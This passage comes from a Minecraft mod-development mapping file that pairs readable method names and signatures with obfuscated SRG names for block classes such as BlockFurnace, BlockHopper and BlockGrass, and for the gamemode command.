(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockFlowerPot/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockFlowerPot/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFlowerPot/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFlowerPot/isFullCube ()Z net/minecraft/block/BlockFlowerPot/func_149686_d ()Z +MD: net/minecraft/block/BlockFlowerPot/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFlowerPot/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFlowerPot/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFlowerPot/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFlowerPot/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockFlowerPot/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockFlowerPot/getTileEntity (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntityFlowerPot; net/minecraft/block/BlockFlowerPot/func_176442_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntityFlowerPot; +MD: net/minecraft/block/BlockFlowerPot/setBlockBoundsForItemRender ()V net/minecraft/block/BlockFlowerPot/func_149683_g ()V +MD: net/minecraft/block/BlockFlowerPot/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockFlowerPot/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockFlowerPot/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockFlowerPot/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockDoubleStoneSlabNew/isDouble ()Z net/minecraft/block/BlockDoubleStoneSlabNew/func_176552_j ()Z +MD: net/minecraft/block/BlockDoubleStoneSlab/isDouble ()Z net/minecraft/block/BlockDoubleStoneSlab/func_176552_j ()Z +MD: net/minecraft/command/CommandGameMode/getRequiredPermissionLevel ()I net/minecraft/command/CommandGameMode/func_82362_a ()I +MD: net/minecraft/command/CommandGameMode/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandGameMode/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandGameMode/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandGameMode/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandGameMode/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandGameMode/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandGameMode/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandGameMode/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandGameMode/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandGameMode/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandGameMode/getListOfPlayerUsernames ()[Ljava/lang/String; net/minecraft/command/CommandGameMode/func_71538_c ()[Ljava/lang/String; +MD: net/minecraft/command/CommandGameMode/getGameModeFromCommand (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/command/CommandGameMode/func_71539_b (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/block/BlockDoubleWoodSlab/isDouble ()Z net/minecraft/block/BlockDoubleWoodSlab/func_176552_j ()Z +MD: net/minecraft/block/BlockFurnace/hasComparatorInputOverride ()Z net/minecraft/block/BlockFurnace/func_149740_M ()Z +MD: net/minecraft/block/BlockFurnace/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFurnace/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFurnace/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockFurnace/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockFurnace/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockFurnace/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockFurnace/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockFurnace/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockFurnace/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFurnace/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFurnace/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockFurnace/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockFurnace/setState (ZLnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockFurnace/func_176446_a (ZLnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockFurnace/getRenderType ()I net/minecraft/block/BlockFurnace/func_149645_b ()I +MD: net/minecraft/block/BlockFurnace/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockFurnace/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockFurnace/getStateForEntityRender (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFurnace/func_176217_b (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFurnace/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockFurnace/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockFurnace/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockFurnace/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockFurnace/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockFurnace/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockFurnace/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFurnace/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFurnace/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFurnace/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFurnace/setDefaultFacing (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockFurnace/func_176445_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockFurnace/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockFurnace/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockGlass/canSilkHarvest ()Z net/minecraft/block/BlockGlass/func_149700_E ()Z +MD: net/minecraft/block/BlockGlass/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockGlass/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockGlass/isFullCube ()Z net/minecraft/block/BlockGlass/func_149686_d ()Z +MD: net/minecraft/block/BlockGlass/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockGlass/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockGlowstone/quantityDroppedWithBonus (ILjava/util/Random;)I net/minecraft/block/BlockGlowstone/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/BlockGlowstone/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockGlowstone/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockGlowstone/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockGlowstone/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockGlowstone/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockGlowstone/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockGrass/getBlockColor ()I net/minecraft/block/BlockGrass/func_149635_D ()I +MD: net/minecraft/block/BlockGrass/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockGrass/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockGrass/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockGrass/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockGrass/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockGrass/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockGrass/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockGrass/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockGrass/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockGrass/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockGrass/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockGrass/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockGrass/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockGrass/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockGrass/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockGrass/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockGrass/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockGrass/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockGrass/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockGrass/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockGrass/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockGrass/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockGravel/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockGravel/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockGravel/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockGravel/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockHalfStoneSlabNew/isDouble ()Z net/minecraft/block/BlockHalfStoneSlabNew/func_176552_j ()Z +MD: net/minecraft/block/BlockSlab$EnumBlockHalf/getName ()Ljava/lang/String; net/minecraft/block/BlockSlab$EnumBlockHalf/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockSlab$EnumBlockHalf/toString ()Ljava/lang/String; net/minecraft/block/BlockSlab$EnumBlockHalf/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockSlab$EnumBlockHalf/values ()[Lnet/minecraft/block/BlockSlab$EnumBlockHalf; net/minecraft/block/BlockSlab$EnumBlockHalf/values ()[Lnet/minecraft/block/BlockSlab$EnumBlockHalf; +MD: net/minecraft/block/BlockSlab/canSilkHarvest ()Z net/minecraft/block/BlockSlab/func_149700_E ()Z +MD: net/minecraft/block/BlockSlab/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockSlab/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockSlab/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSlab/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSlab/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockSlab/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockSlab/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockSlab/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockSlab/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockSlab/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockSlab/getVariant (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; net/minecraft/block/BlockSlab/func_176553_a (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; +MD: net/minecraft/block/BlockSlab/getUnlocalizedName (I)Ljava/lang/String; net/minecraft/block/BlockSlab/func_150002_b (I)Ljava/lang/String; +MD: net/minecraft/block/BlockSlab/isOpaqueCube ()Z net/minecraft/block/BlockSlab/func_149662_c ()Z +MD: net/minecraft/block/BlockSlab/isSlab (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockSlab/func_150003_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockSlab/isFullCube ()Z net/minecraft/block/BlockSlab/func_149686_d ()Z +MD: net/minecraft/block/BlockSlab/setBlockBoundsForItemRender ()V net/minecraft/block/BlockSlab/func_149683_g ()V +MD: net/minecraft/block/BlockSlab/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockSlab/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockSlab/isDouble ()Z net/minecraft/block/BlockSlab/func_176552_j ()Z +MD: net/minecraft/block/BlockSlab/getVariantProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockSlab/func_176551_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockHalfStoneSlab/isDouble ()Z net/minecraft/block/BlockHalfStoneSlab/func_176552_j ()Z +MD: net/minecraft/block/BlockBreakable/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockBreakable/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockBreakable/isOpaqueCube ()Z net/minecraft/block/BlockBreakable/func_149662_c ()Z +MD: net/minecraft/block/BlockHalfWoodSlab/isDouble ()Z net/minecraft/block/BlockHalfWoodSlab/func_176552_j ()Z +MD: net/minecraft/block/BlockHardenedClay/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockHardenedClay/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockHay/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockHay/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockHay/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockHay/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockHay/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockHay/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockHay/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockHay/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockHay/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockHay/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockHopper$1/apply (Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockHopper$1/apply (Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockHopper$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockHopper$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockHopper/hasComparatorInputOverride ()Z net/minecraft/block/BlockHopper/func_149740_M ()Z +MD: net/minecraft/block/BlockHopper/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockHopper/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockHopper/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockHopper/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockHopper/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockHopper/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockHopper/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockHopper/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockHopper/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockHopper/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockHopper/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockHopper/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockHopper/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockHopper/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockHopper/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockHopper/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockHopper/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockHopper/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockHopper/getRenderType ()I net/minecraft/block/BlockHopper/func_149645_b ()I +MD: net/minecraft/block/BlockHopper/getFacing (I)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockHopper/func_176428_b (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockHopper/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockHopper/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockHopper/isOpaqueCube ()Z net/minecraft/block/BlockHopper/func_149662_c ()Z +MD: net/minecraft/block/BlockHopper/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockHopper/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockHopper/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockHopper/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockHopper/isFullCube ()Z net/minecraft/block/BlockHopper/func_149686_d ()Z +MD: net/minecraft/block/BlockHopper/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockHopper/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockHopper/updateState (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockHopper/func_176427_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockHopper/isEnabled (I)Z net/minecraft/block/BlockHopper/func_149917_c (I)Z +MD: net/minecraft/block/BlockHopper/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockHopper/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockHopper/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockHopper/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockHugeMushroom$EnumType/getMetadata ()I net/minecraft/block/BlockHugeMushroom$EnumType/func_176896_a ()I +MD: net/minecraft/block/BlockHugeMushroom$EnumType/byMetadata (I)Lnet/minecraft/block/BlockHugeMushroom$EnumType; net/minecraft/block/BlockHugeMushroom$EnumType/func_176895_a (I)Lnet/minecraft/block/BlockHugeMushroom$EnumType; +MD: net/minecraft/block/BlockHugeMushroom$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockHugeMushroom$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockHugeMushroom$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockHugeMushroom$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockHugeMushroom$EnumType/values ()[Lnet/minecraft/block/BlockHugeMushroom$EnumType; net/minecraft/block/BlockHugeMushroom$EnumType/values ()[Lnet/minecraft/block/BlockHugeMushroom$EnumType; +MD: net/minecraft/block/BlockHugeMushroom/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockHugeMushroom/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockHugeMushroom/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockHugeMushroom/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockHugeMushroom/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockHugeMushroom/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockHugeMushroom/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockHugeMushroom/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockHugeMushroom/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockHugeMushroom/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockHugeMushroom/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockHugeMushroom/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: 